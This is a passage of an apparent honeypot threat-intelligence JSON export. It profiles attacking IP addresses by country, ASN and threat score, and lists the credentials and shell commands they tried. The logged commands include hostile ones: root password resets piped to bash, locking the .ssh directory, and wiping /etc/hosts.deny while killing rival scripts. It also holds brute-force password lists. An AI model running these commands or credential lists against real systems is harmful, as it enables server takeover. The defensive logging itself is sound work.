        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 55
      }
    },
    "191.101.59.252": {
      "attack_count": 217,
      "first_seen": "2026-04-30T09:15:04.620Z",
      "last_seen": "2026-04-30T11:05:25.675Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "test",
        "root",
        "345gs5662d34",
        "admin",
        "admin1",
        "adminuser",
        "apache",
        "ftptest",
        "git",
        "github",
        "minecraft",
        "ntadmin",
        "postgres",
        "test123",
        "tsadmin",
        "userbot",
        "vboxuser"
      ],
      "passwords_attempted": [
        "1",
        "112233",
        "12345",
        "123456",
        "123asd",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "Abcd@123456",
        "Qq1234567890",
        "abcd",
        "admin",
        "admin#2024",
        "admin123",
        "amd",
        "azerty",
        "debian",
        "demo12",
        "github",
        "hola"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu@123\\ndKqjQjhwmGIN\\ndKqjQjhwmGIN\\n\"|passwd",
        "echo -e \"ubuntu@123\\ndKqjQjhwmGIN\\ndKqjQjhwmGIN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T09:15:04.620000+00:00",
        "last_seen_30d": "2026-04-30T11:06:30.302000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 75
      }
    },
    "43.156.71.43": {
      "attack_count": 216,
      "first_seen": "2026-04-29T23:29:39.987Z",
      "last_seen": "2026-04-30T00:19:34.683Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "elastic",
        "frappe",
        "postgres",
        "test",
        "ubuntu",
        "user002",
        "user1",
        "user3"
      ],
      "passwords_attempted": [
        "100",
        "11111",
        "123123123",
        "1234",
        "123456",
        "1q2w3e!",
        "1qaz2wsx",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc$RFV5tgb^YHN",
        "Abcd1234!",
        "Cc123123",
        "Original123",
        "Pt@123456789",
        "Rp123456",
        "Welcome@2026",
        "Wf!123456",
        "Woaini123",
        "Zaq!2wsxcde3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aZA6tsEB9BiY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T23:29:39.987000+00:00",
        "last_seen_30d": "2026-04-30T00:20:40.397000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 70
      }
    },
    "116.193.190.100": {
      "attack_count": 199,
      "first_seen": "2026-04-21T22:18:58.764Z",
      "last_seen": "2026-04-21T23:04:59.661Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "admin",
        "ali",
        "ubuntu",
        "345gs5662d34",
        "abc",
        "bot",
        "hduser",
        "mike",
        "rdp",
        "sammy",
        "server",
        "socks",
        "steam",
        "transmission",
        "user2"
      ],
      "passwords_attempted": [
        "12",
        "1234",
        "123qwe!@#QWE",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "India@2025",
        "Kc@123456",
        "P@ssw0rd.2026",
        "P@ssw0rd2025!",
        "Qwer2025",
        "Qwert123!",
        "Ubuntu2026!",
        "ali19!",
        "ali29",
        "asdzxc123",
        "bot27!",
        "ftpuser4",
        "mike",
        "passw0rd"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test123\\nUU4yUh1xVbbY\\nUU4yUh1xVbbY\\n\"|passwd",
        "echo -e \"test123\\nUU4yUh1xVbbY\\nUU4yUh1xVbbY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T22:18:58.764000+00:00",
        "last_seen_30d": "2026-04-21T23:06:08.776000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "152.254.161.132": {
      "attack_count": 198,
      "first_seen": "2026-04-23T01:50:45.798Z",
      "last_seen": "2026-04-23T03:01:17.609Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "steam",
        "345gs5662d34",
        "admin",
        "admin1234",
        "bot",
        "ftpuser",
        "n8n",
        "odoo",
        "sammy",
        "server",
        "test",
        "test0",
        "tester",
        "user",
        "zy"
      ],
      "passwords_attempted": [
        "123456",
        "!QAZ2wsx123",
        "1029384756",
        "1234",
        "1q2w3e4r5",
        "3245gs5662d34",
        "345gs5662d34",
        "87654321",
        "Aa123654789",
        "Abcd1!@#",
        "Admin24!",
        "BOT",
        "Frappe!@",
        "Odoo123",
        "Qazwsx2018..",
        "Steam03",
        "admin1234",
        "admin12345.",
        "asdQWE123",
        "code520@nlpr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:i6LYYxFmn9rz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sorocaba",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T01:50:45.798000+00:00",
        "last_seen_30d": "2026-04-23T03:02:23.466000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 62
      }
    },
    "185.196.8.218": {
      "attack_count": 194,
      "first_seen": "2026-04-03T15:09:28.638Z",
      "last_seen": "2026-04-03T15:49:56.798Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "ali",
        "wy",
        "345gs5662d34",
        "debian",
        "dell",
        "frappe",
        "mailtest",
        "oracle"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "555666",
        "Aa@1234",
        "Ali12",
        "ChangeMe",
        "Oracle1",
        "Qazwsx123321@",
        "Qazwsx12345678!@",
        "Qazwsx2020@123",
        "Qq@123456",
        "Tm@123456",
        "abc@123.com",
        "admin0$",
        "admin12345..",
        "aezakmi",
        "ali24",
        "arthur"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nTYonZQsyA1dW\\nTYonZQsyA1dW\\n\"|passwd",
        "echo -e \"123456\\nTYonZQsyA1dW\\nTYonZQsyA1dW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:26:49.339000+00:00",
        "last_seen_30d": "2026-04-03T15:51:00.768000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 64
      }
    },
    "209.97.161.72": {
      "attack_count": 194,
      "first_seen": "2026-04-07T13:41:47.927Z",
      "last_seen": "2026-04-07T14:27:38.086Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "superv",
        "ubuntu",
        "345gs5662d34",
        "andres",
        "bot",
        "deploy",
        "postgres",
        "slave",
        "test",
        "tester",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "!Q@W3e4r",
        "0102025405",
        "123456",
        "12345Qwert",
        "12Qwertyuiop",
        "13",
        "3245gs5662d34",
        "345gs5662d34",
        "AA123456.",
        "ASDzxc123456",
        "Abcd1..",
        "Admin123",
        "Frappe17!",
        "P@ssword2026!",
        "Root13",
        "ZAQ!2wsx2024.",
        "a123456i",
        "andres",
        "bot1234",
        "changeme"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nZTyDJ9P9C6SW\\nZTyDJ9P9C6SW\\n\"|passwd",
        "echo -e \"123456\\nZTyDJ9P9C6SW\\nZTyDJ9P9C6SW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:41:47.927000+00:00",
        "last_seen_30d": "2026-04-07T14:28:44.367000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "8.213.210.205": {
      "attack_count": 194,
      "first_seen": "2026-04-05T08:00:59.483Z",
      "last_seen": "2026-04-05T09:21:06.571Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "joe",
        "ubuntu",
        "345gs5662d34",
        "botuser",
        "dev",
        "exuser",
        "frappe",
        "n8n",
        "odoo17",
        "test",
        "tester",
        "user",
        "vpn",
        "vpnuser"
      ],
      "passwords_attempted": [
        "1111",
        "123456789",
        "123abc..",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc!QAZ",
        "A12345688",
        "Abcd1234@123",
        "Admin@4321",
        "Dev13",
        "Frappe21!",
        "Li123456",
        "N8n!@#",
        "P@ssWord",
        "Qazwsx11111!",
        "Root01@@",
        "User22",
        "a5202514",
        "aa1234",
        "admin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test\\nf9Z7jyAaCeqj\\nf9Z7jyAaCeqj\\n\"|passwd",
        "echo -e \"test\\nf9Z7jyAaCeqj\\nf9Z7jyAaCeqj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:00:59.483000+00:00",
        "last_seen_30d": "2026-04-05T09:22:12.762000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 67
      }
    },
    "198.46.182.246": {
      "attack_count": 193,
      "first_seen": "2026-04-04T07:09:10.804Z",
      "last_seen": "2026-04-04T08:03:07.077Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bot",
        "ubuntu",
        "user",
        "345gs5662d34",
        "admin",
        "esuser",
        "gitlab-psql",
        "odoo",
        "oracle",
        "test1",
        "tssuser",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "1234567",
        "123@.com",
        "1337",
        "1qaz@WSX1234!@#$",
        "3245gs5662d34",
        "345gs5662d34",
        "@admin123456",
        "Aa123456",
        "Abc@1234",
        "Bot",
        "Bot20",
        "CCxx000",
        "Letmein1",
        "Password",
        "Qwer@#",
        "Vpn21",
        "hoilamgi",
        "linux",
        "oracle2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:2PUcoTB8rgjV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:09:10.804000+00:00",
        "last_seen_30d": "2026-04-04T08:04:11.356000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "172.190.24.225": {
      "attack_count": 185,
      "first_seen": "2026-04-03T14:54:08.989Z",
      "last_seen": "2026-04-03T18:23:45.883Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "n8n",
        "test",
        "teamspeak",
        "user1",
        "userftp",
        "vpnuser"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "1QAZ2wsx@#",
        "23452345",
        "3245gs5662d34",
        "Aa2024",
        "Qwe#",
        "Test1@",
        "ZZaa112233",
        "abc.123",
        "abc123!@",
        "n8n1234",
        "password123",
        "qazwsx01@",
        "qwe666",
        "qwer1234",
        "userftp2026",
        "wLC_MsAU(c8hy21HX"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"n8n1234\\n9FOyWrcEud4r\\n9FOyWrcEud4r\\n\"|passwd",
        "echo -e \"n8n1234\\n9FOyWrcEud4r\\n9FOyWrcEud4r\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T14:54:08.989000+00:00",
        "last_seen_30d": "2026-04-03T18:24:55.987000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 185,
        "Suricata": 79
      }
    },
    "103.48.192.48": {
      "attack_count": 168,
      "first_seen": "2026-04-28T11:38:34.892Z",
      "last_seen": "2026-04-28T12:01:32.402Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1100",
        "1220",
        "1qaz2WSX!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "357",
        "Cacat123",
        "Jd123123",
        "Kk.123456",
        "PA55word",
        "Password45",
        "QWE123rty",
        "Qwerty@159",
        "asdf1234!@#$",
        "bitrix@123",
        "heisenberg",
        "niko",
        "nopass",
        "pearljam1",
        "q123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:p0FYruUHo5Bu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:38:34.892000+00:00",
        "last_seen_30d": "2026-04-28T12:02:35.293000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "121.168.139.251": {
      "attack_count": 168,
      "first_seen": "2026-04-27T01:12:12.534Z",
      "last_seen": "2026-04-27T01:51:30.855Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rootwww"
      ],
      "passwords_attempted": [
        ".369",
        "0000000",
        "1024",
        "222222",
        "3245gs5662d34",
        "345gs5662d34",
        "ABC123$%",
        "Cloud_ctsi123_!@#",
        "MNBVCXZ",
        "P4$$word123",
        "ZTE@OS+10",
        "admin123qwe.",
        "alpin",
        "john316",
        "kr82@2026",
        "lalala123",
        "letmein!",
        "qwe66666666",
        "root@123456!",
        "volume"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KEu8ZH7kFkeF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:12:12.534000+00:00",
        "last_seen_30d": "2026-04-27T01:52:36.674000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 51
      }
    },
    "177.10.201.7": {
      "attack_count": 168,
      "first_seen": "2026-04-27T12:10:10.161Z",
      "last_seen": "2026-04-27T12:36:41.999Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sysroot",
        "wytroot"
      ],
      "passwords_attempted": [
        "123456",
        "123QWEzaqXSW",
        "3245gs5662d34",
        "345gs5662d34",
        "@#qwe123",
        "PAs$word1",
        "Qwe112233",
        "Yhsj@123",
        "[dvs]",
        "booboo",
        "boyun2024",
        "gz@edu$2025",
        "hadoop1234567",
        "p0o9i8u7y6t5r4e3w2q1p0o9",
        "p@55w0rdroot:server",
